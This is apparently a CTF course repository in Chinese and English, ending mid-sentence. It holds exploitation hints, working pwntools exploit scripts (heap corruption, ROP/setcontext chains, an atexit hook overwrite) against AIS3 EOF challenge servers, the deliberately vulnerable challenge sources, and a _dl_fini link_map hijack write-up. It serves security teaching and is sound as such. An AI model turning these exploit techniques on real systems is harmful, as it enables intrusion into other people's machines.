[
  {
    "path": ".gitignore",
    "content": ".DS_Store\n.gdb_history\n.vscode\npwnbox"
  },
  {
    "path": "2021/README.md",
    "content": "## 2021 年\n\n## Week 1: Binary Exploitation I\n> linux 相關的基礎知識如 ELF struct 與 calling convention、介紹不同的保護機制與攻擊方法\n- 影片: [video](https://youtu.be/ktoVQB99Gj4)\n- Lab\n  - Got2win\n  - Rop2win\n- Hw\n  - fullchain\n    - Hints:\n      1. 在一開始 `cnt == 3` 的情況下，我們什麼事情都不能做，因此必須要想辦法將 `cnt` 設為較大的數。而在此我們會需要用 fmt 來得到 cnt 的位址，並且寫值進去\n      2. 在做 Step 1 時，可能會遇到一次不能寫入太大的值到 `cnt`，不過我們可以分成兩次做，一次先將次數增加到足夠做一次任意寫入，之後再將 `cnt` 寫成很大的值\n      3. 如果我們能 bypass 掉 `exit()`，這樣就能控制 `ptr`，而首先我們必須要知道 `exit@got` 的位址，此時也能利用 fmt 做到 leak，並在 leak 後也透過 fmt 做到改寫 `exit@got`\n      4. 之後基本上想做什麼就能做什麼，可以直接堆 ROP chain、或者是透過 `mprotect()` 執行任意 shellcode，但基本上都是透過 fmt 做 leak 與 partial overwrite\n      5. 使用 fmt 的關鍵在於用 `%X$p` 來 leak、`%***c%k$hhn` 來做任意寫 (請參考投影片)，並且為了避免 timeout，在竄改時不一定要將目標位址整個改掉，可以做 partial overwrite 就好，並且通常寫入速度 `%hhn` > `%hn` >> `%n` (1 bytes / 2 bytes / 4 bytes)\n    - PS:\n      - `memset()` 在 local 跟 remote 會因為 CPU 支援的指令集的不同，動態解析到不同的 glibc function，所以如果 local 過 remote 不過，可能要重新算一下 offset，或者是從其他 function 的 got 來 leak\n  - fullchain-nerf\n    - Hints:\n      1. 明顯有 stack overflow 可以控制 return address，並且也有 fmt 來 leak code / libc address，我們要考慮的只剩下要怎麼透過不多的 bof 來做到 ORW\n      2. bof 能做的 ROP 沒辦法一次做完 ORW，然而卻可以執行 `read()` 並還有些許 gadget 可以執行，因此可以考慮先執行一次 read 的 ROP 來寫更多 gadgets\n      3. 如果可以寫在後續的位址，或者是透過 stack pivoting 將 stack 遷移到其他地方，就可以將不足的 ROP chain 補完\n  - sandbox\n    - Hints:\n      1. 雖然限制了一些 instruction，但是還是有其他指令可以控制程式執行流程，而且你要的東西其實程式就已經給你了\n\n## Week 2: Binary Exploitation II\n> 介紹 linux heap 中經常看到的結構與記憶體分配機制、講解簡單的 heap exploit 技巧如 tcache poisoning\n- 影片: [video](https://youtu.be/A3kwWfex2XM)\n- Lab\n  - market\n  - heapmath\n- Hw\n  - final (教學題)\n  - easyheap\n    1. 基本上跟 **final** 的解法三差不多，建議在練習 **final** 可以自己畫出 heap 結構，來幫助自己更熟悉 heap\n  - beeftalk\n    1. leak heap 位址很簡單，難點應該在於該如何 leak 出 libc，不過這題的設計洞很多，因此有許多不同的打法\n    2. 這題是可以不用透過 `chat()` 內的 overflow 與 `unlink()` 的錯誤順序來做 exploit，只需要透過 user 建立與刪除的 bug 即可\n    3. 可以想辦法從 freed chunk 留下的 smallbin 來 leak libc\n    4. 可以想辦法讓 `name` 或是 `desc` 等可以在 `update()` 更新值的 member，與某個 `User` 結構做重疊，而後透過 UAF 來竄改 pointer 指向的位址\n    5. 其他打法也有透過 `chat()` 的 overflow，或者甚至透過控制 `User->fifo` 的值來直接讀 `\"/proc/self/maps\"` 做 leak，或猜測檔名來直接讀 flag 的內容等等\n\n## Week 3: FILE Exploitation & Browser Exploitation\n> 講解 FILE 的結構以及利用技巧，並且對 browser pwn 做一些簡單的介紹\n- 講者: Kia\n- 影片: [video](https://youtu.be/1a-9iJn-csI)\n- Slide1: [FILE Struct](https://docs.google.com/presentation/d/1DrdKADYM0VCUvfyw5GFN0fisOEX9CCt4H1zQgpofjJo/edit#slide=id.p2)\n- Slide2: [Browser Pwn](https://docs.google.com/presentation/d/1BY8O5xKpopcf1jEFPMuvRXKYqilcZ7fexcHUFReEA0Y/edit#slide=id.p2)\n- Lab\n  - OvO8: [Download](https://drive.google.com/file/d/1vIMysdYS97pZ-sqrPqEORXGY5RIJp2VH/view?usp=sharing)\n- Hw\n  - FILE note: [Download](https://drive.google.com/file/d/1ABVJWtLjda8Z3_ZT4c9OnztIMFkvbq8A/view?usp=sharing)\n"
  },
  {
    "path": "2021/eof-final/exp/logger.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\n# r = process('./logger', aslr=False)\nr = remote('chals1.eof.ais3.org', 45125)\n\ndef new(idx, _len, msg):\n    r.sendlineafter('> ', '1')\n    r.sendlineafter('idx: ', str(idx))\n    r.sendlineafter('len: ', str(_len))\n    if _len != 1:\n        r.sendafter('msg: ', msg)\n\ndef delete(idx):\n    r.sendlineafter('> ', '2')\n    r.sendlineafter('idx: ', str(idx))\n\ndef show(idx):\n    r.sendlineafter('> ', '3')\n    r.sendlineafter('idx: ', str(idx))\n\ndef edit(idx, msg):\n    r.sendlineafter('> ', '4')\n    r.sendlineafter('idx: ', str(idx))\n    r.sendafter('msg: ', msg)\n\ndef get_name(name, namelen):\n    r.sendlineafter('len: ', str(namelen))\n    r.sendafter('name: ', name)\n\nget_name('', 1)\nnew(0, 0x48, '\\n')\nnew(1, 0x48, '\\n')\nnew(2, 0x48, '\\n')\ndelete(1)\ndelete(2)\ndelete(0)\nnew(0, 0x88, '\\n')\nedit(7, '\\n')\nshow(0)\nr.recvuntil('msg: ')\nheap = u64(r.recv(6).ljust(8, b'\\x00')) - 0xfb0\ninfo(f\"heap: {hex(heap)}\")\n\nedit(0, p64(heap + 0xff0) + b'\\n')\nnew(1, 0xf8, '\\n')\nnew(2, 0xf8, '\\n')\nnew(3, 0xf8, '\\n')\nfake_chk = p64(0) + p64(0x21) + p64(0)*3 + p64(0x21)\nnew(4, 0xf8, b'\\x00'*0x30 + fake_chk + b'\\n')\ndelete(1)\ndelete(2)\ndelete(3)\nnew(1, 0x48, b'\\n')\nnew(2, 0x48, b'\\n')\nnew(3, 0x48, p64(0) + p64(0x421) + b'\\n')\ndelete(2)\nshow(0)\nr.recvuntil('msg: ')\nlibc = u64(r.recv(6).ljust(8, b'\\x00')) - 0x1ebbe0\n__free_hook = libc + 0x1eeb28\ninfo(f\"libc: {hex(libc)}\")\n\nnew(5, 0xb8, b'\\n')\nnew(6, 0xb8, b'\\n')\ndelete(6)\ndelete(5)\nedit(0, p64(__free_hook) + b'\\n')\n\n# ref: https://shorturl.at/ruBHS\n# control_rdx_gadget == getkeyserv_handle+576\ncontrol_rdx_gadget = libc + 0x154930 # mov rdx,QWORD PTR [rdi+0x8] ; mov QWORD PTR [rsp],rax ; call QWORD PTR [rdx+0x20]\n# stack_pivoting_gadget == setcontext+61\nstack_pivoting_gadget = libc + 0x580dd\nrop_read = libc + 0x111130\nrop_write = libc + 0x1111d0\nrop_openat = libc + 0x110fe0\nrop_exit = libc + 0x49bc0\nrop_pop_rdi_ret = libc + 0x26b72\nrop_pop_rsi_ret = libc + 0x27529\nrop_pop_rdx_ret = libc + 0xd27a5\nrop_add_rsp_0x18_ret = libc + 0x3794a\nflag_str = __free_hook + 0x10\n\"\"\"\n20 - setcontext_gadget\n28 - r8\n30 - r9\n48 - r12\n50 - r13\n58 - r14\n60 - r15\n68 - rdi\n70 - rsi\n78 - rbp\n80 - rbx\n88 - rdx\n98 - rcx ; second\na0 - rsp\na8 - rcx ; first and will be push to stack\n\"\"\"\noutput_fd = 0 # will work at remote env\nrop = flat(\n    stack_pivoting_gadget, rop_pop_rdi_ret, # 0x20\n    3, rop_pop_rsi_ret, # 0x30\n    heap, rop_pop_rdx_ret, # 0x40\n    0x30, rop_read, # 0x50\n    rop_add_rsp_0x18_ret, 0, # 0x60\n    flag_str, heap + 0x2000, # 0x70\n    rop_pop_rdi_ret, output_fd, # 0x80\n    rop_write, rop_exit, # 0x90\n    heap + 0x1000 + 0x8, rop_openat, # 0xa0\n)\nnew(5, 0xb8, rop + b'\\n') # heap + 0x1000\nnew(6, 0xb8, p64(control_rdx_gadget) + p64(heap + 0x1000 - 0x20) + b'/home/logger/flag\\x00' + b'\\n')\n\ndelete(6)\nr.interactive()"
  },
  {
    "path": "2021/eof-final/exp/sugar.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\n# python3 sugar.py SILENT=1\nflag = False\ncnt = 0\nwhile not flag :\n    # r = process('./sugar')\n    r = remote('chals1.eof.ais3.org', 45124)\n    print(cnt)\n    cnt += 1\n    r.sendline(str(0x21000))\n    r.sendline('+')\n\n    offset = 0x20f5f8 # __elf_set___libc_atexit_element__IO_cleanup__\n    value = 0x3fac7e\n    for i in range(3):\n        data = str(offset+i) + ' ' + str((value >> (8*i)) & 0xff)\n        r.sendline(data)\n\n    r.sendline('A')\n    try:\n        r.sendline('whoami')\n        data = r.recv()\n        if b'stack' in data or b'glibc' in data or b'free' in data:\n            r.close()\n            continue\n        r.sendline('cat /home/sugar/flag')\n        r.sendline('cat /home/sugar/flag')\n        r.sendline('cat /home/sugar/flag')\n        print(r.recv())\n        r.interactive()\n        flag = True\n    except:\n        r.close()"
  },
  {
    "path": "2021/eof-final/exp/two-gadget.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nif len(sys.argv) > 1:\n    r = remote('chals1.eof.ais3.org', 45126)\nelse:\n    r = process('./two-gadget')\n\nr.recvuntil('Gift: ')\nlibc = int(r.recvline()[:-1], 16) - 0x87e60\nrop_pop_rdi_ret = libc + 0x26b72\nrop_pop_rsi_ret = libc + 0x27529\nrop_pop_rdx_ret = libc + 0xd27a5\nrop_leave_ret = libc + 0x5aa48\nrop_add_dh_bptr_rsi_ret = libc + 0x9837c\nrop_open = libc + 0x110e50\nrop_read = libc + 0x111130\nrop_write = libc + 0x1111d0\ngets = libc + 0x86af0\n# _dl_show_auxv offset is ld.so base + 0x1d020\nif len(sys.argv) > 1:\n    _dl_show_auxv = libc + 0x218000 + 0x1d020\nelse:\n    _dl_show_auxv = libc + 0x22e000 + 0x1d020\n\ninfo(f\"libc: {hex(libc)}\")\nr.send(p64(_dl_show_auxv))\nr.recvuntil('AT_PHDR:')\ncode = int(r.recvline()[:-1].strip(), 16) - 0x40\nread_gadget = code + 0x1343\ninfo(f\"code: {hex(code)}\")\n\nr.recvuntil('AT_RANDOM:')\nstack = int(r.recvline()[:-1].strip(), 16)\nbuf = stack - 937\nif len(sys.argv) > 1:\n    buf += 288\ninfo(f\"stack: {hex(stack)}\")\n\nr.recvuntil('AT_EXECFN:')\nflagpath = r.recvline()[:-1].strip()\ninfo(f\"flagpath: {flagpath}\")\n\nsleep(0.2)\nr.send(p64(stack))\nr.recvuntil('x86_64\\n')\ncanary = b'\\x00' + r.recv(8)[1:8]\n\nflag_addr = stack - 769\nif len(sys.argv) > 1:\n    flag_addr += 288\nrop1 = b'A'*0x8 + canary + p64(buf - 0x8) + p64(rop_add_dh_bptr_rsi_ret) + p64(read_gadget)\nrop2 = b'A'*0x20 + flat(\n    rop_pop_rdi_ret, flag_addr,\n    rop_pop_rsi_ret, 0,\n    rop_pop_rdx_ret, 0,\n    rop_open,\n\n    rop_pop_rdi_ret, 3,\n    rop_pop_rsi_ret, flag_addr,\n    rop_pop_rdx_ret, 0x30,\n    rop_read,\n\n    rop_pop_rdi_ret, 1,\n    rop_write,\n)\nrop2 += b'/home/two-gadget-4a4be40c96ac6314e91d93f38043a634/flag\\x00'\nr.send(rop1)\nsleep(0.2)\nr.send(rop2)\n\nr.interactive()"
  },
  {
    "path": "2021/eof-final/logger/Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd\n\nRUN useradd -m logger\nRUN chown -R root:root /home/logger\nRUN chmod -R 755 /home/logger\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]"
  },
  {
    "path": "2021/eof-final/logger/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  logger:\n    build: ./\n    volumes:\n      - ./share:/home/logger:ro\n      - ./xinetd:/etc/xinetd.d/logger:ro\n    ports:\n      - \"45125:45125\"\n    expose:\n      - \"45125\""
  },
  {
    "path": "2021/eof-final/logger/share/Makefile",
    "content": "all:\n\tgcc -o logger logger.c -lseccomp\n\ndebug:\n\tgcc -g -o logger logger.c -lseccomp"
  },
  {
    "path": "2021/eof-final/logger/share/flag",
    "content": "FLAG{TEST}"
  },
  {
    "path": "2021/eof-final/logger/share/logger.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <string.h>\n#include <seccomp.h>\n\nvoid init_proc()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);\n    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);\n    seccomp_load(ctx);\n    seccomp_release(ctx);\n}\n\nunsigned long getu64()\n{\n    char buf[0x8];\n    fgets(buf, 0x8, stdin);\n    return strtoul(buf, NULL, 10);\n}\n\ntypedef struct _Log\n{\n    char *msg;\n    char *author;\n    unsigned long len;\n} Log;\nLog *logs[7];\nchar *me;\n\nvoid new()\n{\n    printf(\"idx: \");\n    unsigned long idx = getu64();\n    if (idx >= 7 || logs[idx]) return;\n    logs[idx] = malloc(sizeof(Log));\n\n    printf(\"len: \");\n    logs[idx]->len = getu64();\n    logs[idx]->len = logs[idx]->len > 0x100 ? 0x100 : logs[idx]->len;\n\n    printf(\"msg: \");\n    logs[idx]->msg = malloc(logs[idx]->len);\n    fgets(logs[idx]->msg, logs[idx]->len, stdin);\n\n    logs[idx]->author = me;\n}\n\nvoid delete()\n{\n    printf(\"idx: \");\n    unsigned long idx = getu64();\n    if (idx >= 7 || !logs[idx]) return;\n\n    free(logs[idx]->msg);\n    free(logs[idx]);\n    logs[idx] = NULL;\n}\n\nvoid show()\n{\n    printf(\"idx: \");\n    unsigned long idx = getu64();\n    if (idx >= 7 || !logs[idx]) return;\n    printf(\"author: %s\\nlen: %lu\\nmsg: %s\\n\", logs[idx]->author, logs[idx]->len, logs[idx]->msg);\n}\n\nvoid edit()\n{    \n    unsigned long idx;\n    printf(\"idx: \");\n    idx = getu64();\n    printf(\"msg: \");\n    fgets(logs[idx]->msg, logs[idx]->len, stdin);\n}\n\nint main()\n{\n    init_proc();\n\n    unsigned long len;\n    printf(\"len: \");\n    len = getu64();\n    len = len > 0x28 ? 0x28 : len;\n\n    printf(\"name: \");\n    me = malloc(len);\n    fgets(me, len, stdin);\n    \n    while (1) {\n        printf(\n            \"1. new\\n\"\n            \"2. delete\\n\"\n            \"3. show\\n\"\n            \"4. edit\\n\"\n            \"5. bye\\n\"\n            \"> \"\n        );\n        switch (getu64()) {\n        case 1: new(); break;\n        case 2: delete(); break;\n        case 3: show(); break;\n        case 4: edit(); break;\n        case 5: goto bye;\n        default: break; }\n    }\n\nbye:\n    return 0;\n}"
  },
  {
    "path": "2021/eof-final/logger/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/logger/logger"
  },
  {
    "path": "2021/eof-final/logger/xinetd",
    "content": "service logger\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/logger/run.sh\n    user = logger\n    port = 45125\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}"
  },
  {
    "path": "2021/eof-final/sugar/Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd\n\nRUN useradd -m sugar\nRUN chown -R root:root /home/sugar\nRUN chmod -R 755 /home/sugar\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]"
  },
  {
    "path": "2021/eof-final/sugar/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  sugar:\n    build: ./\n    volumes:\n      - ./share:/home/sugar:ro\n      - ./xinetd:/etc/xinetd.d/sugar:ro\n    ports:\n      - \"45124:45124\"\n    expose:\n      - \"45124\""
  },
  {
    "path": "2021/eof-final/sugar/share/Makefile",
    "content": "all:\n\tgcc -o sugar sugar.c\n\ndebug:\n\tgcc -g -o sugar sugar.c"
  },
  {
    "path": "2021/eof-final/sugar/share/flag",
    "content": "FLAG{TEST}"
  },
  {
    "path": "2021/eof-final/sugar/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 10 /home/sugar/sugar"
  },
  {
    "path": "2021/eof-final/sugar/share/sugar.c",
    "content": "#include <stdlib.h>\n#include <unistd.h>\n#include <stdio.h>\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n\n    int size = 0, idx = 0, val = 0;\n    unsigned char *ptr = NULL;\n    \n    while (scanf(\"%d\", &size) == 1) {\n        free(ptr);\n        ptr = malloc(size);\n    }\n\n    while (scanf(\"%d %d\", &idx, &val) == 2)\n        ptr[idx] = val;\n    \n    free(ptr);\n    return 0;\n}"
  },
  {
    "path": "2021/eof-final/sugar/xinetd",
    "content": "service sugar\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/sugar/run.sh\n    user = sugar\n    port = 45124\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}"
  },
  {
    "path": "2021/eof-final/two-gadget/Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd\n\nRUN useradd -m -d /home/<redacted> two-gadget\nRUN chown -R root:root /home/<redacted>\nRUN chmod -R 755 /home/<redacted>\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]"
  },
  {
    "path": "2021/eof-final/two-gadget/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  two-gadget:\n    build: ./\n    volumes:\n      - ./share:/home/<redacted>:ro\n      - ./xinetd:/etc/xinetd.d/two-gadget:ro\n    ports:\n      - \"45126:45126\"\n    expose:\n      - \"45126\""
  },
  {
    "path": "2021/eof-final/two-gadget/share/Makefile",
    "content": "all:\n\tgcc -o two-gadget two-gadget.c -lseccomp\n\ndebug:\n\tgcc -g -o two-gadget two-gadget.c -lseccomp"
  },
  {
    "path": "2021/eof-final/two-gadget/share/flag",
    "content": "FLAG{TEST}"
  },
  {
    "path": "2021/eof-final/two-gadget/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/<redacted>/two-gadget"
  },
  {
    "path": "2021/eof-final/two-gadget/share/two-gadget.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <seccomp.h>\n\nvoid init_proc()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);\n    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);\n    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);\n    seccomp_load(ctx);\n    seccomp_release(ctx);\n}\n\nint main()\n{\n    char buf[0x8] = {0};\n\n    init_proc();\n    printf(\"Gift: %p\\n\", setvbuf);\n\n    read(0, buf, 0x8);\n    ((void (*)(void)) (*(unsigned long *) buf))();\n\n    read(0, buf, 0x8);\n    write(1, (*(unsigned long *) buf), 0x8);\n\n    read(0, buf, 0x28);\n    return 0;\n}"
  },
  {
    "path": "2021/eof-final/two-gadget/xinetd",
    "content": "service two-gadget\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/<redacted>/run.sh\n    user = two-gadget\n    port = 45126\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}"
  },
  {
    "path": "2021/eof-qual/fullchain-buff/README.md",
    "content": "## 非預期解\n\n大致步驟為：\n\n1. leak stack address\n2. write fmtstr in global\n3. use fsb to overwrite `cnt` or return address\n\n\n\n因為 `cnt` 在 `printf()` 的深處仍會將 register 上的值 push 到 stack 上：\n\n```\n0x7f9693b13eb2 <printf+162>    mov    dword ptr [rsp + 4], 0x30\n0x7f9693b13eba <printf+170>    call   __vfprintf_internal\n\n0x7f9693b289f9 <__vfprintf_internal+25>    push   rbx\n0x7f9693b289fa <__vfprintf_internal+26>    sub    rsp, 0x548\n```\n\n如果能控制 pointer 指向對應到的 stack 位址，就可以透過 fmt 蓋寫成一個很大的值，之後就是不斷透過 fmt 來做事，像是跳 one gadget 或做 stack pivoting，打法有很多種就不贅述。\n\n\n\n## 預期解\n\n一共分成三個步驟：\n\n1. leak libc address\n2. write one gadget to variable `global`\n3. overwrite `(struct link_map) map[0]` in the stack\n\n\n\n可以先以一個簡單程式做示範：\n\n```c\n// gcc -Wl,--dynamic-linker=/usr/src/glibc/glibc_dbg/elf/ld.so -no-pie -g -o test test.c\n#include <stdio.h>\nchar globals[0x20] = {0};\nint main()\n{\n    puts(\"OWO\");\n    return 0;\n}\n```\n\n配合 gdb script，載入 debug version library 並且下斷點在 `main()`：\n\n```\nset exec-wrapper env \"LD_PRELOAD=/usr/src/glibc/glibc_dbg/libc.so\"\nb main\nr\n```\n\n\n\n此時觀察 stack 中的內容，應該都可以發現有一個位址落在 `ld.so` (dynamic linker library) 下方的記憶體區塊：\n\n![](images/1.png)\n\n\n而此位址是在 linker 一開始替程式做一些執行的前處理時所留下，如果有興趣的話可以下斷點在 `_dl_init()` 開始追，這邊是 linker 在做初始化環境的程式碼：\n\n![](images/2.png)\n\n\n\n最後確實會在某個地方準備執行 `_start()`，也就是 c-runtime：\n\n![](images/3.png)\n\n\n因此實際上 `_start()` 還不能說是整個程式載入時的第一個進入點，linker 前面還做了一大堆事情。而 `main()` 在 return 後會回到 `<__libc_start_main+243>` (常打 pwn 的應該會對 243 這個數字不陌生)，最後執行 `exit(<return_value>)`，而 `exit()` 在往深入追的話會到 `__run_exit_handlers()`，這個 function 才會真正的去執行某些 segment 的 fini function ([exit.c](https://elixir.bootlin.com/glibc/glibc-2.31/source/stdlib/exit.c))：\n\n1. `__call_tls_dtors()`： tls (thread local storage) 的 destructor，當 thread 結束或是 process exit 時會呼叫到\n\n2. traverse `exit_function_list` 的 while loop： 執行透過 `atexit()` 或 `on_exit()` 所註冊的 function，正常情況下只會有一個 function `_dl_fini()` 會被執行，如果有註冊的會被 insert 在更前面的位置\n\n3. `RUN_HOOK (__libc_atexit, ());`： 變數 `__elf_set___libc_atexit_element__IO_cleanup__` 內會存放一個 function address，而該段程式碼會去執行對應的 function，正常情況下是 `_IO_cleanup()`，也意味著 `exit()` 在最後會執行 flush buffer 之類的行為\n\n   - 這邊 `__elf_set___libc_atexit_element__IO_cleanup__` 會是可寫的，因此這邊也可以作為寫入 one_gadget 的目標，而且剛好滿足：\n\n     ```shell\n     0xe6c7e execve(\"/bin/sh\", r15, r12)\n     constraints:\n       [r15] == NULL || r15 == NULL\n       [r12] == NULL || r12 == NULL\n     ```\n\n\n\n最後會執行 `_exit()`，裡面就單純執行 `sys_exit` 離開程式。\n\n\n\n接下來追 `_dl_fini()` 的執行流程 ([dl-fini](https://elixir.bootlin.com/glibc/glibc-2.31/source/elf/dl-fini.c))，這個 function 對應一開始 linker 用來初始化環境的 function `_dl_init()`，主要處理呼叫 loaded objects 的 destructor function，其中由於 process 可能處在多個 namespace，因此 `_dl_fini()` 也會 handle 不同 namespace 的情況，但是如果只處於一個 namespace，也就是最一般的情況，實際上程式碼會直接從下方開始：\n\n```c\nstruct link_map *maps[nloaded];\nunsigned int i;\nstruct link_map *l;\n\n// 取得該 namespace 的 loaded shared objects\nfor (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)\n    if (l == l->l_real)\n    {\n        assert (i < nloaded);\n        maps[i] = l;\n        l->l_idx = i;\n        ++i;\n        ++l->l_direct_opencount;\n    }\n...\nunsigned int nmaps = i;\n...\n```\n\n在執行完上方的 for loop 後，`maps[]` 儲存：\n\n1. `maps[0]`： binary 本身\n2. `maps[1]`： **linux-vdso.so.1**\n3. `maps[2]`： **/usr/src/glibc/glibc_dbg/libc.so**\n4. `maps[3]`：**/usr/src/glibc/glibc_dbg/elf/ld.so**\n\n這些 loaded shared objects 本身可能會定義一些在程式結束前所要執行的 fini function，在這邊先取得其對應到的 `struct link_map` object，而 `struct link_map` 被用來描述 loaded shared object 的一些屬性，結構如下：\n\n```c\nstruct link_map\n{\n    ElfW(Addr) l_addr;\n    char *l_name;\n    ElfW(Dyn) *l_ld;\n    struct link_map *l_next, *l_prev;\n};\n```\n\n\n\n再來就是透過 for loop 來 traverse 所有的 `maps`，而 `struct link_map` 結構本身的資訊如 `l_info` 都來自 ELF 的 section，基本上都能找到相對應的資料：\n\n```c\nfor (i = 0; i < nmaps; ++i)\n{\n    struct link_map *l = maps[i];\n    if (l->l_init_called)\n    {\n        l->l_init_called = 0;\n\n        // 這個 object 有沒有定義 fini function (destructor)\n        // #define DT_FINI_ARRAY 26\n        // #define DT_FINI 13\n        if (l->l_info[DT_FINI_ARRAY] != NULL\n            || l->l_info[DT_FINI] != NULL) {\n            \n            // 如果是給一個 fini array 去執行，這樣 array 所儲存的每個 function address 都需要被呼叫\n            if (l->l_info[DT_FINI_ARRAY] != NULL)\n            {\n                // 取得 array 的開頭\n                ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);\n                // 取得總共的 element 數量\n                unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val\n                                / sizeof (ElfW(Addr)));\n                \n                // 呼叫每個 fini function\n                while (i-- > 0)\n                    ((fini_t) array[i]) ();\n            }\n\n            // 之後檢查會不會有比較舊的 destructor\n            if (l->l_info[DT_FINI] != NULL)\n                DL_CALL_DT_FINI (l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);\n            /**\n             * # define DL_CALL_DT_FINI(map, start) ((fini_t) (start)) ()\n             * 可以看做執行 (*(l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr))()\n             */\n\n        }\n    ...\n    }\n    ...\n}\n```\n\n\n\n而在處理 `maps[0]` 並執行到 `ElfW(Addr) *array = ...` 時，會發現 `maps[0]` 的值會等於我們在 `main()` 看到 stack 內有儲存某個落於 `ld.so` 下方的位址，也就代表那個位址指向 binary 本身的 `struct link_map`：\n\n![](images/4.png)\n\n\n看一下一些變數的相對位址與值：\n\n![](images/5.png)\n\n- `l->l_addr` 的值為 0，而且是第一個 member，位址與 `struct link_map` 本身的位址相同\n- `l->l_info[26]->d_un.dptr` 的值為 0x403e18，並且因為 `l_addr` 為 0，`array` 會指向 0x403e18\n- `array[0]` 為 `0x401100`，是 `__do_global_dtors_aux()` 的位址，代表 binary 本身已經有註冊 auxiliary vector 的 destructor\n- 變數 `char globals[0x20]` 的位址為 `0x404060`\n- `array` 與 `char globals[0x20]` 的差距為 584 (0x248)\n\n\n\n最後取出 `array[]` 內儲存的 function pointer 並執行，執行次數已經在編譯時期定義在 section 當中，為以下變數 `i` 儲存的值 (`1`)：\n\n![](images/6.png)\n\n\n\n到此回到 fullchain-buff 題目本身，總共可以利用三次：\n\n1. 利用 fmt 來 leak libc address，並找出 one gadget 的位址\n2. 可以在 `globals` 變數中讀入 fmt，並在 `globals+0x10` 的地方寫入 one gadget 的位址\n3. 印出第二步讀入的 fmt 來寫入在 stack 當中儲存指向 `maps[0]` 位址的 pointer，篡改 `l->l_addr` 的值為 `globals+0x10 - l->l_info[26]->d_un.dptr`，這樣再加上 `l->l_info[26]->d_un.dptr` 後 `array` 就會是 `globals+0x10`\n\n最後 `array[0]` 會取出 one gadget address，並做為 function pointer 去呼叫。不過在呼叫時，單純使用 tool **one_gadget** 找到的 gadget 並沒辦法滿足條件，只能自己去 `__execvpe()` 裡面挖，而 `libc + 0xe6f31` 的 one gadget 需要滿足：\n\n1. `rbp-0x50` is writable\n2. `rax == NULL || [rax] == NULL`\n3. `r12 == NULL || [r12] == NULL`\n\n剛好符合條件，因此只需要填入此 one gadget，就能在 `((fini_t) array[0]) ()` 時 get shell。\n\n\n\n[full exploit and source code](https://github.com/u1f383/Software-Security-2021/tree/master/quals)"
  },
  {
    "path": "2021/eof-qual/hello-world/README.md",
    "content": "此題沒有附上 source code，單純是要考為 function 加上 `__attribute__((destructor))` 的屬性後，該 function 就會在 `_dl_fini()` 時被呼叫：\n\n``` c\nstatic void fini() __attribute__((destructor));\nstatic void fini()\n{\n    uint16_t flag[] = {0x2f00, 0x6800, 0x6f00, 0x6d00, 0x6500, 0x2f00, 0x6800, 0x6500, 0x6c00, 0x6c00, 0x6f00, 0x2d00,\n                        0x7700, 0x6f00, 0x7200, 0x6c00, 0x6400, 0x2f00, 0x6600, 0x6c00, 0x6100, 0x6700, 0x0000};\n    unsigned char owo[23] = {0};\n\n    for (int i = 0; i < 23; i++)\n        owo[i] = flag[i] >> 8;\n    \n    int fd = open(owo, O_RDONLY);\n    if (fd == -1)\n        return;\n\n    char s[0x10] = {0};\n    read(0, s, 1);\n    if (s[0] == '\\xff')\n        read(0, s, 0x200);\n}\n```\n\n\n\n當知道有這個 function 的存在後，直接做 ROP 執行 `read(3, buf, <large_number>) + puts(buf)` 後跳回 `main()`，讓他執行 `fflush()` 將 output buffer 清空即可，ROP payload 